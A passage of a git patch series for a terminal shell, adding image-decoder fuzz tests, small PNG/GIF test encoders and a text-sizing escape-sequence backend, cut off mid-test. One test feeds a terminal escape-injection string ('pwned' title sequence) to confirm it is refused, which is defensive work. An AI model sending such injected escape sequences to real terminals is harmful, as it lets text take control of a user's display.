encodeGif({width: 9, height: 7, frames: [{width: 9, height: 7, indices: Array.from({length: 63}, (_, i) => (i * 5) % 4), localPalette: palette, transparent: 2}]})], ['jpeg', jpg], ['jpeg', withOrientation(jpg, 5)], ['webp', webp(LOSSY_WEBP)], ['webp', webp(LOSSLESS_WEBP)]]; + const random = rng(0x22); + const started = Date.now(); + let accepted = 0; + for (const [format, seed] of seeds) { + for (let i = 0; i < 300; i++) { + const input = mutate(seed, random); + const before = Date.now(); + try { + if (format === 'png') decodePng(input); + else if (format === 'gif') decodeGif(input); + else if (format === 'jpeg') decodeJpeg(input); + else identify(input); + accepted++; + const via = await decodeImage(input); + assert.ok(via.raster.width > 0 || format === 'webp'); + } catch (error) { + assert.ok(error instanceof ImageError, `${format} mutation ${i}: ${String(error)}`); + } + assert.ok(Date.now() - before < 3000, `${format} mutation ${i} took too long`); + } + } + assert.ok(Date.now() - started < 60_000); + assert.ok(accepted > 100, `only ${accepted} mutations reached a decoder`); +}); diff --git a/tests/support/gifEncoder.ts b/tests/support/gifEncoder.ts new file mode 100644 index 00000000..439217ff --- /dev/null +++ b/tests/support/gifEncoder.ts @@ -0,0 +1,111 @@ +/** A tiny GIF encoder (with a real LZW compressor) for building decoder test inputs. */ +import {concat} from './pngEncoder.js'; + +export interface GifFrame { + left?: number; + top?: number; + width: number; + height: number; + /** Colour indices, row-major in display order (interlacing is applied by the encoder). */ + indices: number[]; + interlaced?: boolean; + localPalette?: number[][]; + transparent?: number; + minCodeSize?: number; +} + +export interface GifSpec { + width: number; + height: number; + palette?: number[][]; + frames: GifFrame[]; +} + +function tableBytes(palette: number[][]): { bytes: Uint8Array; sizeField: number } { + let sizeField = 0; + while (1 << (sizeField + 1) < palette.length) sizeField++; + const bytes = new Uint8Array(3 * (1 << (sizeField + 1))); + palette.forEach((color, i) => bytes.set(color, i * 3)); + return {bytes, sizeField}; +} + +export function lzwEncode(indices: number[], minCodeSize: number): Uint8Array { + const clear = 1 << minCodeSize; + const out: number[] = []; + let acc = 0, bits = 0, size = minCodeSize + 1; + const emit = (code: number): void => { + acc |= code << bits; + bits += size; + while (bits >= 8) { out.push(acc & 255); acc >>>= 8; bits -= 8; } + }; + let dict = new Map(); + let next = clear + 2; + emit(clear); + let current = ''; + const key = (prefix: string, value: number): string => `${prefix},${value}`; + let currentCode = -1; + for (const value of indices) { + if (currentCode === -1) { currentCode = value; current = String(value); continue; } + const candidate = key(current, value); + const found = dict.get(candidate); + if (found !== undefined) { currentCode = found; current = candidate; continue; } + emit(currentCode); + dict.set(candidate, next++); + if (next - 1 === (1 << size) && size < 12) size++; + if (next >= 4096) { + emit(clear); + dict = new Map(); + next = clear + 2; + size = minCodeSize + 1; + } + currentCode = value; + current = String(value); + } + if (currentCode !== -1) emit(currentCode); + emit(clear + 1); + if (bits > 0) out.push(acc & 255); + return Uint8Array.from(out); +} + +export function subBlocks(data: Uint8Array): Uint8Array { + const parts: number[] = []; + for (let i = 0; i < data.length; i += 255) { + const slice = data.subarray(i, i + 255); + parts.push(slice.length, ...slice); + } + parts.push(0); + return Uint8Array.from(parts); +} + +export function interlaceOrder(height: number): number[] { + const rows: number[] = []; + for (const [start, step] of [[0, 8], [4, 8], [2, 4], [1, 2]] as const) for (let y = start; y < height; y += step) rows.push(y); + return rows; +} + +export function encodeGif(spec: GifSpec, tweak: {minCodeSizeByte?: number; rawLzw?: Uint8Array} = {}): Uint8Array { + const parts: Uint8Array[] = [Uint8Array.from([...'GIF89a'].map((c) => c.charCodeAt(0)))]; + const global = spec.palette ? tableBytes(spec.palette) : undefined; + parts.push(Uint8Array.from([spec.width & 255, spec.width >> 8, spec.height & 255, spec.height >> 8, global ? 0x80 | global.sizeField : 0, 0, 0])); + if (global) parts.push(global.bytes); + for (const frame of spec.frames) { + if (frame.transparent !== undefined) parts.push(Uint8Array.from([0x21, 0xf9, 4, 1, 0, 0, frame.transparent, 0])); + else parts.push(Uint8Array.from([0x21, 0xf9, 4, 0, 0, 0, 0, 0])); + const local = frame.localPalette ? tableBytes(frame.localPalette) : undefined; + const left = frame.left ?? 0, top = frame.top ?? 0; + parts.push(Uint8Array.from([0x2c, left & 255, left >> 8, top & 255, top >> 8, frame.width & 255, frame.width >> 8, frame.height & 255, frame.height >> 8, + (local ? 0x80 | local.sizeField : 0) | (frame.interlaced ? 0x40 : 0)])); + if (local) parts.push(local.bytes); + const colors = (frame.localPalette ?? spec.palette ?? []).length; + let minCodeSize = frame.minCodeSize ?? Math.max(2, Math.ceil(Math.log2(Math.max(colors, 2)))); + let stored = frame.indices; + if (frame.interlaced) { + stored = []; + for (const y of interlaceOrder(frame.height)) stored.push(...frame.indices.slice(y * frame.width, (y + 1) * frame.width)); + } + parts.push(Uint8Array.from([tweak.minCodeSizeByte ?? minCodeSize]), subBlocks(tweak.rawLzw ?? lzwEncode(stored, minCodeSize))); + minCodeSize = 0; + } + parts.push(Uint8Array.from([0x3b])); + return concat(parts); +} diff --git a/tests/support/graphicsFixtures.ts b/tests/support/graphicsFixtures.ts new file mode 100644 index 00000000..bc431647 --- /dev/null +++ b/tests/support/graphicsFixtures.ts @@ -0,0 +1,44 @@ +import {CHANNELS, concat, type PngSpec} from './pngEncoder.js'; + +export const LOSSY_WEBP = 'UklGRmYAAABXRUJQVlA4IFoAAACwAgCdASoIAAgAAMASJbACdHIAq//cAN4AA/P3/oAA/v58L7yT2/8MSpz/9/v6n+xRs2P8+xRv+xkjr/40Sj85j/hZmWOCH//vhR/+FU3BD//2oj5vzOrzuAA='; +export const LOSSLESS_WEBP = 'UklGRjoAAABXRUJQVlA4TC0AAAAvB8ABAB8gEEjCGXtsIQFhhDH+J7NGa/4jN4OAgrZtmJIsyZJ8G4iI/of8iQ8A'; +export const webp = (base64: string): Uint8Array => Uint8Array.from(Buffer.from(base64, 'base64')); + +/** Reference RGBA for a PngSpec, computed straight from the definition of each colour type. */ +export function expectedRgba(spec: PngSpec): number[] { + const channels = CHANNELS[spec.colorType]; + const max = (1 << spec.bitDepth) - 1; + const to8 = (v: number): number => (spec.bitDepth === 16 ? v >> 8 : Math.round((v * 255) / max)); + const out: number[] = []; + for (let p = 0; p < spec.width * spec.height; p++) { + const s = spec.samples.slice(p * channels, p * channels + channels); + if (spec.colorType === 0) out.push(to8(s[0]!), to8(s[0]!), to8(s[0]!), 255); + else if (spec.colorType === 2) out.push(to8(s[0]!), to8(s[1]!), to8(s[2]!), 255); + else if (spec.colorType === 3) out.push(...spec.palette![s[0]!]!, spec.trns?.[s[0]!] ?? 255); + else if (spec.colorType === 4) out.push(to8(s[0]!), to8(s[0]!), to8(s[0]!), to8(s[1]!)); + else out.push(to8(s[0]!), to8(s[1]!), to8(s[2]!), to8(s[3]!)); + } + return out; +} + +export function sampleSpec(colorType: PngSpec['colorType'], bitDepth: PngSpec['bitDepth'], width: number, height: number, extra: Partial = {}): PngSpec { + const channels = CHANNELS[colorType]; + const max = (1 << bitDepth) - 1; + const palette = colorType === 3 ? Array.from({length: Math.min(max + 1, 256)}, (_, i) => [(i * 40) & 255, (i * 70 + 9) & 255, (255 - i * 13) & 255]) : undefined; + const samples: number[] = []; + for (let i = 0; i < width * height * channels; i++) samples.push(colorType === 3 ? (i * 5 + 1) % palette!.length : (i * 2654435761 >>> 7) % (max + 1)); + return {width, height, colorType, bitDepth, samples, palette, ...extra}; +} + +/** Insert an EXIF APP1 segment carrying one orientation tag right after SOI. */ +export function withOrientation(file: Uint8Array, orientation: number, little = true): Uint8Array { + const tiff = Buffer.alloc(26); + tiff.write(little ? 'II' : 'MM', 0, 'latin1'); + const w16 = (v: number, at: number): void => void (little ? tiff.writeUInt16LE(v, at) : tiff.writeUInt16BE(v, at)); + const w32 = (v: number, at: number): void => void (little ? tiff.writeUInt32LE(v, at) : tiff.writeUInt32BE(v, at)); + w16(42, 2); w32(8, 4); w16(1, 8); w16(0x0112, 10); w16(3, 12); w32(1, 14); w16(orientation, 18); + const body = Buffer.concat([Buffer.from('Exif\0\0', 'latin1'), tiff]); + const header = Buffer.from([0xff, 0xe1, (body.length + 2) >> 8, (body.length + 2) & 255]); + return concat([file.subarray(0, 2), header, body, file.subarray(2)]); +} + diff --git a/tests/support/pngEncoder.ts b/tests/support/pngEncoder.ts new file mode 100644 index 00000000..66423a5d --- /dev/null +++ b/tests/support/pngEncoder.ts @@ -0,0 +1,128 @@ +/** A tiny PNG encoder for building decoder test inputs: every colour type, depth, interlace and filter. */ +import zlib from 'node:zlib'; +import {crc32} from '../../src/graphics/png.js'; + +export interface PngSpec { + width: number; + height: number; + colorType: 0 | 2 | 3 | 4 | 6; + bitDepth: 1 | 2 | 4 | 8 | 16; + /** One value per sample, row-major: `(y * width + x) * channels + c`, each in 0..2^bitDepth-1. */ + samples: number[]; + palette?: number[][]; + trns?: number[]; + interlace?: boolean; + /** A filter type 0..4, or 'cycle' to use a different one on each row. */ + filter?: number | 'cycle'; + /** Chunks inserted before IDAT. */ + extraChunks?: {type: string; data: Uint8Array}[]; +} + +export const CHANNELS = {0: 1, 2: 3, 3: 1, 4: 2, 6: 4} as const; +const ADAM7 = [[0, 0, 8, 8], [4, 0, 8, 8], [0, 4, 4, 8], [2, 0, 4, 4], [0, 2, 2, 4], [1, 0, 2, 2], [0, 1, 1, 2]] as const; + +export function chunk(type: string, data: Uint8Array): Uint8Array { + const out = new Uint8Array(12 + data.length); + const view = new DataView(out.buffer); + view.setUint32(0, data.length); + for (let i = 0; i < 4; i++) out[4 + i] = type.charCodeAt(i); + out.set(data, 8); + view.setUint32(8 + data.length, crc32(out, 4, 8 + data.length)); + return out; +} + +export function ihdr(width: number, height: number, bitDepth: number, colorType: number, interlace = 0): Uint8Array { + const data = new Uint8Array(13); + const view = new DataView(data.buffer); + view.setUint32(0, width); + view.setUint32(4, height); + data[8] = bitDepth; + data[9] = colorType; + data[12] = interlace; + return data; +} + +export function concat(parts: Uint8Array[]): Uint8Array { + const out = new Uint8Array(parts.reduce((sum, part) => sum + part.length, 0)); + let at = 0; + for (const part of parts) { + out.set(part, at); + at += part.length; + } + return out; +} + +export const PNG_SIGNATURE = Uint8Array.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]); + +function paeth(a: number, b: number, c: number): number { + const p = a + b - c; + const pa = Math.abs(p - a), pb = Math.abs(p - b), pc = Math.abs(p - c); + return pa <= pb && pa <= pc ? a : pb <= pc ? b : c; +} + +function filterRow(type: number, row: Uint8Array, previous: Uint8Array, unit: number): Uint8Array { + const out = new Uint8Array(row.length + 1); + out[0] = type; + for (let i = 0; i < row.length; i++) { + const left = i >= unit ? row[i - unit]! : 0; + const up = previous[i]!; + const upLeft = i >= unit ? previous[i - unit]! : 0; + const predictor = [0, left, up, (left + up) >> 1, paeth(left, up, upLeft)][type]!; + out[i + 1] = (row[i]! - predictor) & 0xff; + } + return out; +} + +function pack(values: number[], depth: number): Uint8Array { + const out = new Uint8Array(Math.ceil((values.length * depth) / 8)); + values.forEach((value, i) => { + if (depth === 16) { + out[2 * i] = value >> 8; + out[2 * i + 1] = value & 0xff; + } else if (depth === 8) out[i] = value; + else { + const bit = i * depth; + out[bit >> 3]! |= value << (8 - depth - (bit & 7)); + } + }); + return out; +} + +/** The scanlines (filter byte included) for the whole image, in transmission order. */ +export function rawScanlines(spec: PngSpec): Uint8Array { + const channels = CHANNELS[spec.colorType]; + const unit = Math.max(1, (channels * spec.bitDepth) >> 3); + const passes = spec.interlace ? ADAM7 : ([[0, 0, 1, 1]] as const); + const rows: Uint8Array[] = []; + let counter = 0; + for (const [x0, y0, dx, dy] of passes) { + let previous: Uint8Array | undefined; + for (let y = y0; y < spec.height; y += dy) { + const values: number[] = []; + for (let x = x0; x < spec.width; x += dx) for (let c = 0; c < channels; c++) values.push(spec.samples[(y * spec.width + x) * channels + c]!); + if (values.length === 0) break; + const row = pack(values, spec.bitDepth); + previous ??= new Uint8Array(row.length); + const type = spec.filter === 'cycle' ? counter++ % 5 : spec.filter ?? 0; + rows.push(filterRow(type, row, previous, unit)); + previous = row; + } + } + return concat(rows); +} + +export function encodePng(spec: PngSpec): Uint8Array { + const parts = [PNG_SIGNATURE, chunk('IHDR', ihdr(spec.width, spec.height, spec.bitDepth, spec.colorType, spec.interlace ? 1 : 0))]; + if (spec.palette) parts.push(chunk('PLTE', Uint8Array.from(spec.palette.flat()))); + if (spec.trns) parts.push(chunk('tRNS', Uint8Array.from(spec.trns))); + for (const extra of spec.extraChunks ?? []) parts.push(chunk(extra.type, extra.data)); + parts.push(chunk('IDAT', zlib.deflateSync(rawScanlines(spec))), chunk('IEND', new Uint8Array(0))); + return concat(parts); +} + +/** A simple deterministic 8-bit RGBA image for round-trip tests. */ +export function gradientRgba(width: number, height: number): number[] { + const samples: number[] = []; + for (let y = 0; y < height; y++) for (let x = 0; x < width; x++) samples.push((x * 37) & 255, (y * 59) & 255, (x * 11 + y * 7) & 255, 255 - ((x + y) & 63)); + return samples; +} From eaaafad0f81a0d5251112ddc696f088261c290ae Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Tue, 20 Oct 2026 13:42:09 +0530 Subject: [PATCH 113/157] Typography: OSC 66 text sizing backend, renderer places sized blocks after the rows --- src/terminal/TerminalRenderer.ts | 52 +++++++++- src/ui/textSizing.ts | 134 +++++++++++++++++++++++++ tests/textSizing.test.ts | 167 +++++++++++++++++++++++++++++++ 3 files changed, 352 insertions(+), 1 deletion(-) create mode 100644 src/ui/textSizing.ts create mode 100644 tests/textSizing.test.ts diff --git a/src/terminal/TerminalRenderer.ts b/src/terminal/TerminalRenderer.ts index 9cb49577..0b4700f5 100644 --- a/src/terminal/TerminalRenderer.ts +++ b/src/terminal/TerminalRenderer.ts @@ -39,6 +39,17 @@ export function rowForTerminal(row: string, columns: number | undefined): string return row.replace(/\u001B\[0?K/gu, ''); } +/** A sized-text block at a screen cell (zero-based row and column); `sequence` draws it with the cursor at that cell. */ +export interface TextBlock { + row: number; + column: number; + columns: number; + rows: number; + sequence: string; +} + +const blockKey = (block: TextBlock): string => `${block.row}:${block.column}:${block.columns}x${block.rows}:${block.sequence}`; + export class TerminalRenderer { private previous: string[] = []; private active = false; @@ -148,6 +159,30 @@ export class TerminalRenderer { this.overlayPlaced = false; } + /** Sized-text blocks (OSC 66) the current frame wants, and the ones already on screen. */ + private textBlocks: TextBlock[] = []; + private placedBlocks = new Map(); + + /** + * Show these sized-text blocks (see ui/textSizing). The terminal erases a whole multicell block when any one of its cells + * is overwritten or erased, so the renderer writes every row first and draws the blocks after, and draws a block again + * whenever a row it covers was rewritten. A block that goes away forces its rows to repaint, which erases it. + */ + setTextBlocks(next: readonly TextBlock[]): void { + this.textBlocks = [...next]; + const keys = new Set(next.map(blockKey)); + for (const [key, block] of this.placedBlocks) { + if (keys.has(key)) continue; + this.placedBlocks.delete(key); + for (let row = block.row; row < block.row + block.rows; row += 1) if (row < this.previous.length) this.previous[row] = '\u0000'; + } + } + + /** Raw bytes for an owner of terminal-side objects (the graphics service uploading an image). Nothing while a program owns the screen. */ + sendRaw(data: string): void { + if (this.active && !this.suspended && data) this.write(data); + } + /** The rows last written to the screen, for presentation-only captures (screen savers). Never sent anywhere. */ snapshot(): string[] { return this.previous.map(row => (row === '\u0000' ? '' : row)); @@ -164,6 +199,12 @@ export class TerminalRenderer { const overlay = this.overlay; const placeOverlay = Boolean(overlay && (!this.overlayPlaced || changedRows.some(row => row >= overlay.row && row < overlay.row + overlay.size.rows))); + const changed = new Set(changedRows); + const blocksToPlace = this.textBlocks.filter(block => { + if (!this.placedBlocks.has(blockKey(block))) return true; + for (let row = block.row; row < block.row + block.rows; row += 1) if (changed.has(row)) return true; + return false; + }); const cursor = { row: frame.cursorRow, column: frame.cursorColumn, @@ -173,7 +214,7 @@ export class TerminalRenderer { || cursor.row !== this.previousCursor.row || cursor.column !== this.previousCursor.column || cursor.visible !== this.previousCursor.visible; - if (changedRows.length === 0 && !cursorChanged && !placeOverlay) return; + if (changedRows.length === 0 && !cursorChanged && !placeOverlay && blocksToPlace.length === 0) return; // Hide the caret while it travels only when it actually moves or changes visibility. A repaint under a // caret that stays visible in place (animated dividers or Chroma, a clock tick) toggles nothing: each @@ -189,6 +230,10 @@ export class TerminalRenderer { output += `\u001B[${overlay.row + 1};${overlay.column + 1}H${overlay.place}`; this.overlayPlaced = true; } + for (const block of blocksToPlace) { + output += `\u001B[${block.row + 1};${block.column + 1}H${block.sequence}`; + this.placedBlocks.set(blockKey(block), block); + } output += `\u001B[${frame.cursorRow};${frame.cursorColumn}H`; if (cursor.visible && !steady) output += '\u001B[?25h'; if (this.capabilities.synchronizedOutput) { @@ -205,6 +250,7 @@ export class TerminalRenderer { // A foreground program owns the screen now: no NMSh image may stay on it. this.clearOverlay(); this.suspended = true; + this.placedBlocks.clear(); // Pop kitty mode while still on the alt screen this.childModes.reset('alternate'); this.childModes.observeModes(restore); @@ -226,6 +272,7 @@ export class TerminalRenderer { if (!this.active || !this.suspended) return; this.suspended = false; this.overlayPlaced = false; + this.placedBlocks.clear(); this.previous = []; this.previousCursor = undefined; // Clean each child keyboard stack on its own screen, finish on alternate, @@ -237,6 +284,7 @@ export class TerminalRenderer { this.previous = []; this.previousCursor = undefined; this.overlayPlaced = false; + this.placedBlocks.clear(); } leave(): void { @@ -249,6 +297,8 @@ export class TerminalRenderer { return; } this.clearOverlay(); + this.placedBlocks.clear(); + this.textBlocks = []; this.active = false; this.previous = []; this.previousCursor = undefined; diff --git a/src/ui/textSizing.ts b/src/ui/textSizing.ts new file mode 100644 index 00000000..636629f0 --- /dev/null +++ b/src/ui/textSizing.ts @@ -0,0 +1,134 @@ +import type {TerminalCapabilities} from '../host/capabilities.js'; +import {terminalProfile} from '../host/capabilities.js'; +import type {TextSizingSetting} from '../prompt/configuration.js'; +import {setSizedBackend, setTextSizing, type SizedBlock, type TypeRequest, type TypeRole} from './typography.js'; + +/** + * Kitty's text sizing protocol (OSC 66), as NMSh's typography backend. + * https://sw.kovidgoyal.net/kitty/text-sizing-protocol/ + * + * OSC 66 ; metadata ; text ST metadata: colon-separated key=value + * s 1-7 scale: each cell becomes an s x s block (a w-cell glyph is s*w columns wide and s rows high) + * w 0-7 explicit width in cells; 0 lets the terminal measure the text + * n, d fractional scale n/d (n < d): only the glyph shrinks inside the s x s cells, the box does not change + * v, h 0/1/2 alignment of a fractionally scaled glyph inside its box (top/bottom/center, left/right/center) + * + * This is relative terminal text scaling, not a font engine: no family choice, no arbitrary point sizes. Scale and width + * support are detected separately (host/probe.ts, the cursor-position method of the specification) and used separately. + * + * What makes it safe here: + * - only text whose cell width is certain (ordinary Latin, Greek, Cyrillic and punctuation) is ever sized, so the + * terminal's own measurement and ours cannot disagree and the layout cannot drift; anything else is drawn plain; + * - the text goes in escape-safe (control characters never reach the sequence) and under the 4096-byte limit; + * - a block is a single sequence at one position, drawn after the rows of its frame (an erase or overwrite of any one + * cell of a multicell erases all of it, so the renderer places it last and again whenever a row it covers repaints); + * - sizing is a drawing concern: it is never written to transcripts, saved documents or the clipboard. + */ + +export interface ScaleStep { + s: number; + /** Fractional glyph scale inside the s x s cells. */ + n?: number; + d?: number; + v?: 0 | 1 | 2; + h?: 0 | 1 | 2; + /** The narrowest area (in cells) in which this step may be used: no oversized headings in narrow windows. */ + minColumns: number; +} + +/** + * Candidates per role, largest first; the first that fits the columns and rows wins, else the text is drawn plain. + * Document levels map H1..H6 onto 3x, 2x, 1.5x, then ordinary bold, bold, muted (those three are weight and color, not size). + */ +export const ROLE_STEPS: Readonly> = { + celebration: [{s: 3, minColumns: 60}, {s: 2, minColumns: 30}], + title: [{s: 3, minColumns: 60}, {s: 2, minColumns: 36}], + heading: [{s: 2, minColumns: 36}], + subheading: [{s: 2, n: 3, d: 4, v: 2, minColumns: 36}], + counter: [{s: 2, minColumns: 24}], + caption: [], + body: [], +}; + +/** A document heading level (1..6) as a role: H1 title, H2 heading, H3 subheading, deeper levels are ordinary text. */ +export function roleForLevel(level: number): TypeRole { + return level <= 1 ? 'title' : level === 2 ? 'heading' : level === 3 ? 'subheading' : level === 4 ? 'caption' : 'body'; +} + +/** The code points whose width is not in doubt: printable ASCII, Latin-1 to Latin Extended-B, Greek, Cyrillic, general punctuation. */ +const SIZABLE = /^[ -~¡-¬®-ɏͰ-ϿЀ-ӿ‐-‧‰-⁄]*$/u; +export const MAX_SIZED_BYTES = 4096; + +export function isSizable(text: string): boolean { + return text.length > 0 && Buffer.byteLength(text) <= MAX_SIZED_BYTES && SIZABLE.test(text); +} + +export function metadata(step: Pick): string { + const parts = [`s=${step.s}`]; + if (step.n !== undefined && step.d !== undefined && step.n > 0 && step.d > step.n) { + parts.push(`n=${step.n}`, `d=${step.d}`); + if (step.v) parts.push(`v=${step.v}`); + if (step.h) parts.push(`h=${step.h}`); + } + return parts.join(':'); +} + +/** The escape for `text` at the given step. The caller has checked `isSizable`; this refuses anything unsafe anyway. */ +export function osc66(text: string, step: Pick): string { + if (!Number.isInteger(step.s) || step.s < 1 || step.s > 7) throw new RangeError('text sizing scale must be 1..7'); + if (!isSizable(text)) throw new RangeError('text is not safe to size'); + return `\u001b]66;${metadata(step)};${text}\u001b\\`; +} + +/** The sized block for a request, or undefined when scaling is off, unverified, or no step fits. */ +function sizedBlock(request: TypeRequest, text: string): SizedBlock | undefined { + if (!textSizingEnabled() || !isSizable(text)) return undefined; + const steps = request.role === 'title' || request.role === 'heading' || request.role === 'subheading' + ? ROLE_STEPS[request.level !== undefined ? roleForLevel(request.level) : request.role] : ROLE_STEPS[request.role]; + const maxRows = request.maxRows ?? 3; + const cells = text.length; + for (const step of steps) { + const columns = cells * step.s; + if (step.s > maxRows || columns > request.maxColumns || request.maxColumns < step.minColumns) continue; + return {sequence: osc66(text, step), columns, rows: step.s}; + } + return undefined; +} + +let active = false; +export function textSizingEnabled(): boolean { return active; } + +/** Hosts that are known to parse OSC 66 without drawing scaled glyphs; Auto stays off for them, Enhanced is a deliberate override. */ +const UNRENDERED_PROFILES: ReadonlySet = new Set(['ghostty']); + +export interface TextSizingInput { + setting: TextSizingSetting; + capabilities: Readonly; + env: NodeJS.ProcessEnv; + /** Colorless terminals are fine for sizing, but a multiplexer in between is not (it cannot pass the sequence). */ +} + +/** Apply the setting and the probe's evidence to the typography module. Safe to call whenever either changes. */ +export function configureTextSizing(input: TextSizingInput): void { + const {setting, capabilities, env} = input; + const nested = Boolean(env.TMUX || env.STY || env.ZELLIJ) || /^(?:tmux|screen)/u.test(env.TERM ?? ''); + const scale = Boolean(capabilities.textSizing?.scale) && !nested && env.TERM !== 'dumb' && env.NMSH_TEXT_SIZING !== '0'; + const knownUnrendered = UNRENDERED_PROFILES.has(terminalProfile(env)); + setTextSizing({mode: setting, capability: {scale, width: Boolean(capabilities.textSizing?.width) && !nested}, knownUnrendered}); + active = setting !== 'off' && scale && (setting === 'enhanced' || !knownUnrendered); + setSizedBackend(active ? sizedBlock : undefined); +} + +/** Why scaled text is, or is not, in use right now: one sentence for /doctor. */ +export function describeTextSizing(input: TextSizingInput): string { + const {setting, capabilities, env} = input; + const nested = Boolean(env.TMUX || env.STY || env.ZELLIJ) || /^(?:tmux|screen)/u.test(env.TERM ?? ''); + if (setting === 'off') return 'Text sizing: off in Settings.'; + if (nested) return 'Text sizing: off (a terminal multiplexer cannot pass the sequence).'; + if (!capabilities.textSizing) return 'Text sizing: not checked (this terminal did not answer the probe).'; + if (!capabilities.textSizing.scale) return `Text sizing: not available${capabilities.textSizing.width ? ' (explicit widths only)' : ''}; headings use weight and color.`; + if (UNRENDERED_PROFILES.has(terminalProfile(env)) && setting !== 'enhanced') { + return 'Text sizing: this terminal accepts the sequence but is not known to draw scaled glyphs, so Auto leaves it off; choose Enhanced in Settings to try it.'; + } + return `Text sizing: scaled headings and counters (${setting === 'enhanced' ? 'enhanced' : 'verified by the terminal'}).`; +} diff --git a/tests/textSizing.test.ts b/tests/textSizing.test.ts new file mode 100644 index 00000000..59273dba --- /dev/null +++ b/tests/textSizing.test.ts @@ -0,0 +1,167 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {BASELINE_CAPABILITIES, resolveHostCapabilities, type TerminalCapabilities} from '../src/host/capabilities.js'; +import {TerminalRenderer, type TextBlock} from '../src/terminal/TerminalRenderer.js'; +import {configureTextSizing, describeTextSizing, isSizable, metadata, osc66, roleForLevel, textSizingEnabled, ROLE_STEPS} from '../src/ui/textSizing.js'; +import {setSizedBackend, setTextSizing, textSizing, textSizingActive, typeset} from '../src/ui/typography.js'; + +const scaled: TerminalCapabilities = {...BASELINE_CAPABILITIES, textSizing: {scale: true, width: true}}; +const reset = () => { setSizedBackend(undefined); setTextSizing({mode: 'auto', capability: {scale: false, width: false}, knownUnrendered: false}); }; + +test('osc66: the sequence follows the specification and refuses unsafe input', () => { + assert.equal(osc66('Title', {s: 2}), '\u001b]66;s=2;Title\u001b\\'); + assert.equal(osc66('H3', {s: 2, n: 3, d: 4, v: 2}), '\u001b]66;s=2:n=3:d=4:v=2;H3\u001b\\'); + assert.equal(metadata({s: 3, n: 5, d: 4}), 's=3', 'a fraction must have n < d'); + assert.equal(metadata({s: 1, n: 1, d: 2, h: 2}), 's=1:n=1:d=2:h=2'); + assert.throws(() => osc66('x', {s: 0}), RangeError); + assert.throws(() => osc66('x', {s: 8}), RangeError); + assert.throws(() => osc66('bad\u001b]0;pwned\u0007', {s: 2}), RangeError, 'escape and control characters never reach the sequence'); + assert.throws(() => osc66('line\nbreak', {s: 2}), RangeError); + assert.throws(() => osc66('', {s: 2}), RangeError); + assert.throws(() => osc66('x'.repeat(4097), {s: 2}), RangeError, 'over the 4096-byte limit'); +}); + +test('only text of certain width is ever sized: no wide characters, emoji, combining marks or ZWJ', () => { + for (const ok of ['Install', 'Café résumé', 'Ελληνικά', 'Привет', 'a — b “quoted”', 'Spaces and punctuation: 1,000.5%']) assert.equal(isSizable(ok), true, ok); + for (const bad of ['日本語', '🐈 cat', 'é', 'a‍b', 'tab\there', 'bell\u0007', '\u001b[31m', 'fi️', '']) assert.equal(isSizable(bad), false, JSON.stringify(bad)); +}); + +test('typeset: plain everywhere until scaling is verified; then the largest step that fits, with measured cells', () => { + reset(); + const plain = typeset({role: 'title', text: 'Hello', maxColumns: 80}); + assert.equal(plain.sized, undefined); + assert.deepEqual([plain.columns, plain.rows, plain.plain], [5, 1, ['Hello']]); + configureTextSizing({setting: 'auto', capabilities: scaled, env: {TERM_PROGRAM: 'kitty'}}); + assert.equal(textSizingEnabled(), true); + const title = typeset({role: 'title', text: 'Hello', maxColumns: 80}); + assert.equal(title.sized?.sequence, '\u001b]66;s=3;Hello\u001b\\'); + assert.deepEqual([title.columns, title.rows], [15, 3], 's=3 makes each of 5 cells 3 wide and the block 3 rows high'); + assert.deepEqual(title.plain, ['Hello'], 'the plain form is always available'); + const narrow = typeset({role: 'title', text: 'Hello', maxColumns: 50}); + assert.equal(narrow.sized?.sequence, '\u001b]66;s=2;Hello\u001b\\', 'a window under 60 columns uses 2x'); + assert.equal(typeset({role: 'title', text: 'Hello', maxColumns: 30}).sized, undefined, 'a very narrow window gets ordinary text'); + assert.equal(typeset({role: 'title', text: 'A long heading that will not fit at double size', maxColumns: 70}).sized, undefined, 'too long for any step: plain'); + assert.equal(typeset({role: 'title', text: 'Hello', maxColumns: 80, maxRows: 2}).sized?.rows, 2, 'a short panel gets smaller type'); + assert.equal(typeset({role: 'title', text: 'Hello', maxColumns: 80, maxRows: 1}).sized, undefined); + assert.equal(typeset({role: 'body', text: 'Hello', maxColumns: 80}).sized, undefined, 'body text is never sized'); + assert.equal(typeset({role: 'caption', text: 'Hello', maxColumns: 80}).sized, undefined); + assert.equal(typeset({role: 'heading', text: '日本語', maxColumns: 80}).sized, undefined, 'wide text stays plain'); + assert.equal(typeset({role: 'celebration', text: 'Well done', maxColumns: 80}).sized?.rows, 3); + assert.equal(typeset({role: 'counter', text: '1,240', maxColumns: 80}).sized?.sequence, '\u001b]66;s=2;1,240\u001b\\'); + reset(); +}); + +test('document levels map H1..H6 onto a progressive scale: 3x, 2x, 1.5x, then weight and color only', () => { + reset(); + configureTextSizing({setting: 'auto', capabilities: scaled, env: {TERM_PROGRAM: 'kitty'}}); + const forLevel = (level: number) => typeset({role: 'heading', text: 'Section', maxColumns: 100, level}).sized?.sequence; + assert.equal(forLevel(1), '\u001b]66;s=3;Section\u001b\\'); + assert.equal(forLevel(2), '\u001b]66;s=2;Section\u001b\\'); + assert.equal(forLevel(3), '\u001b]66;s=2:n=3:d=4:v=2;Section\u001b\\'); + for (const level of [4, 5, 6]) assert.equal(forLevel(level), undefined, `H${level} is ordinary text`); + assert.deepEqual([1, 2, 3, 4, 5, 6].map(roleForLevel), ['title', 'heading', 'subheading', 'caption', 'body', 'body']); + assert.ok(Object.values(ROLE_STEPS).flat().every(step => step.s >= 1 && step.s <= 7)); + reset(); +}); + +test('gating: Off, an unverified or width-only terminal, a multiplexer, TERM=dumb and the environment switch all keep text plain', () => { + const states = [ + {setting: 'off' as const, capabilities: scaled, env: {TERM_PROGRAM: 'kitty'}}, + {setting: 'auto' as const, capabilities: BASELINE_CAPABILITIES, env: {TERM_PROGRAM: 'kitty'}}, + {setting: 'auto' as const, capabilities: {...BASELINE_CAPABILITIES, textSizing: {scale: false, width: true}}, env: {TERM_PROGRAM: 'kitty'}}, + {setting: 'enhanced' as const, capabilities: scaled, env: {TERM_PROGRAM: 'kitty', TMUX: '/tmp/x,1,0'}}, + {setting: 'auto' as const, capabilities: scaled, env: {TERM: 'screen-256color'}}, + {setting: 'auto' as const, capabilities: scaled, env: {TERM: 'dumb'}}, + {setting: 